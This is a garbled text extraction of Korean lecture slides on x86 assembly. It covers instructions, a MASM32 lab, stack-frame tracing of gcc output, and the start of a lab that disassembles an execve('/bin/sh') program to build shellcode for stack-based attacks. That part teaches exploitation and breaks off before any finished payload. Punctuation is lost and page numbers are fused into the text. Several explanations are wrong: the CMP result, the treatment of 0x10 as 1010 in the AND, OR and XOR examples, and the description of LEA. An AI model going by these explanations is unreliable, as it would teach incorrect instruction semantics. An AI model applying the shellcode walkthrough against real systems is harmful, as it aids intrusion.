베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

